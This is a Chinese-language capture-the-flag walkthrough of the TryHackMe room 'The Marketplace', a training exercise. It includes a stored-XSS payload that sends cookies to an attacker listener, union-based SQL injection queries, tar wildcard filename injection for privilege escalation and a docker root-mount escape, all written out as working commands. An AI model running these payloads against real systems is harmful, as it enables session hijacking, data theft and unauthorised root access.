【THM】The Marketplace練習
與本文相關的TryHackMe實驗房間連結:TryHackMe | The Marketplace
簡介:你能接管marketplace的基礎設施嗎?
The Marketplace的系統管理員Michael允許您訪問他的一個內部伺服器,因此您可以滲透他和他的團隊正在開發的The Marketplace平臺。他說,他和他的團隊還需要解決一些bug。
第一題:flag 1是什麼?
第一步
埠掃描
首先使用nmap對埠進行掃描
nmap -Pn -sV -T4 10.10.42.48
可以發現目標開放了3個埠:22/tcp ssh服務、80/tcp http服務、32768/tcp http服務
第二步
訪問網站
我們先進入網站看看介面
可以發現這個超市就只賣仙人掌和膝上型電腦
我們可以做的操作有登入和註冊,先註冊一個賬號看看:
註冊登入後多出兩個功能點:上架商品和訊息,並且在商品頁面中可以聯絡賣家和舉報產品
我們嘗試上架一個商品,發現存在儲存型XSS漏洞:
嘗試舉報產品會收到系統的訊息
第三步
資訊收集
網頁原始碼中沒有藏什麼東西
我們進行目錄掃描:
gobuster dir -u http://10.10.42.48 -w Filenames_or_Directories_All.txt
我們得到一個很重要的路徑:/admin
(robots.txt中寫的路徑也是如此)
管理員的頁面禁止我們訪問:
第四步
嘗試越權
我們先抓個包觀察一下我們的請求:
可以發現我們的Cookie中含有token識別我們的身份,我們嘗試解碼:
可以發現有一個admin的引數,我們嘗試修改為true
進入/admin
,但是失敗了
第五步
利用XSS漏洞進行釣魚
這裡有一個很騷的思路,我們上傳商品存在儲存型XSS漏洞,那麼我們可以在我們的商品頁面作為釣魚頁面,舉報自己的商品誘導管理員稽核,然後得到管理員的Cookie,提取他的Token
首先我們建立一個web伺服器進行監聽:
python -m http.server
然後構造XSS釣魚頁面,當有人訪問的時候獲取他的cookie
<img src=x onerror=this.src="http://10.10.22.44:8000/?c="+document.cookie>
<img>
用於載入影像。
src=x
設定一個無效的影像源,通常會導致載入失敗。
onerror
當影像載入失敗時觸發的事件。
this.src
在影像載入失敗時,將影像的 src
屬性設定為一個 URL,即為我們構造的一個新的URL將當前頁面的 cookies 作為查詢引數新增到該 URL 中
document.cookie
獲取當前頁面的 cookies
可以發現正在檢視這個頁面的自己的cookie不斷回顯出來,我們現在舉報商品
發現有幾條不一樣的,我們提取Token分析:
有了admin的Token,我們現在換上:
成功進入admin後臺,得到了flag:
第二題:flag 2是什麼?(User.txt)
第一步
觀察功能點
成為後臺管理員,我們能做的操作有:檢視使用者詳細資訊、刪除使用者
我們可以發現我們檢視使用者資訊時是直接GET請求數字得到的資訊:
sqlmap -u "http://10.10.42.48/admin?user=1" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MjgxMTgxNzB9.H8NLhz-z1p3WvuMLZiNWphI9tZvibVh1mnAJScEWFlc"
別用SQLMAP!!!!直接給你cookie的token整報廢又得重新拿token
第二步
SQL隱碼攻擊
我們嘗試進行注入:
http://10.10.42.48/admin?user=1 order by 3 --+
正常回顯
http://10.10.42.48/admin?user=1 order by 5 --+
報錯,因此可以判斷網站查詢的欄位數為4
http://10.10.42.48/admin?user=1 and 1=2 union select 1,2,3,4--+
發現1,2的位置可以回顯
http://10.10.42.48/admin?user=1 and 1=2 union select database(),2,3,4--+
http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+
http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+
http://10.10.42.48/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+
我們發現了關鍵資訊,SSH連線的密碼!
第三步
使用ssh連線
我們可以發現這是user1傳送給user3的訊息,我們所以我們可以嘗試使用jake作為使用者名稱進行連線:
ssh jake@10.10.42.48
第三題:flag 3是什麼?(Root.txt)
第一步
檢視我們的許可權
sudo -l
我們可以發現我們可以不使用密碼以michael的身份執行/opt/backups/backup.sh
我們看看指令碼中的命令
cat /opt/backups/backup.sh
這是一個壓縮備份當前目錄下的所有檔案的指令碼
tar cf /opt/backups/backup.tar *
第二步
提升我們的許可權
我們在GTFOBins中搜尋發現:
我們使用a方式,我們分析其原理:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/dev/null 特殊的路徑,寫入該檔案的資料都會被丟棄,但指令碼中已經定義了路徑所以我們不用管
--checkpoint=1 在歸檔過程中每處理一個檔案時,生成一個檢查點。這個選項通常用於長時間執行的 tar 操作。
--checkpoint-action=exec=/bin/sh 在每個檢查點觸發時執行指定的命令。這裡指定的命令是 /bin/sh
,即啟動一個新的 shell。
只要能夠讓--checkpoint=1
和--checkpoint-action=exec=sh
執行起來就行了,那麼我們只用建立兩個名為--checkpoint=1
和--checkpoint-action=exec=sh
的檔案就行了
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh"
sudo -u michael /opt/backups/backup.sh
我們成為了michael!
第三步
檢視我們的許可權
find / -type f -perm -04000 -ls 2>/dev/null
我們在GTFOBins中搜尋沒有發現,我們看看使用者組
id
可以發現michael是docker使用者
第四步
提升我們的許可權
我們可以在GTFOBins中發現docker的提權方法:
我們使用命令:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
直接看root資料夾中的flag3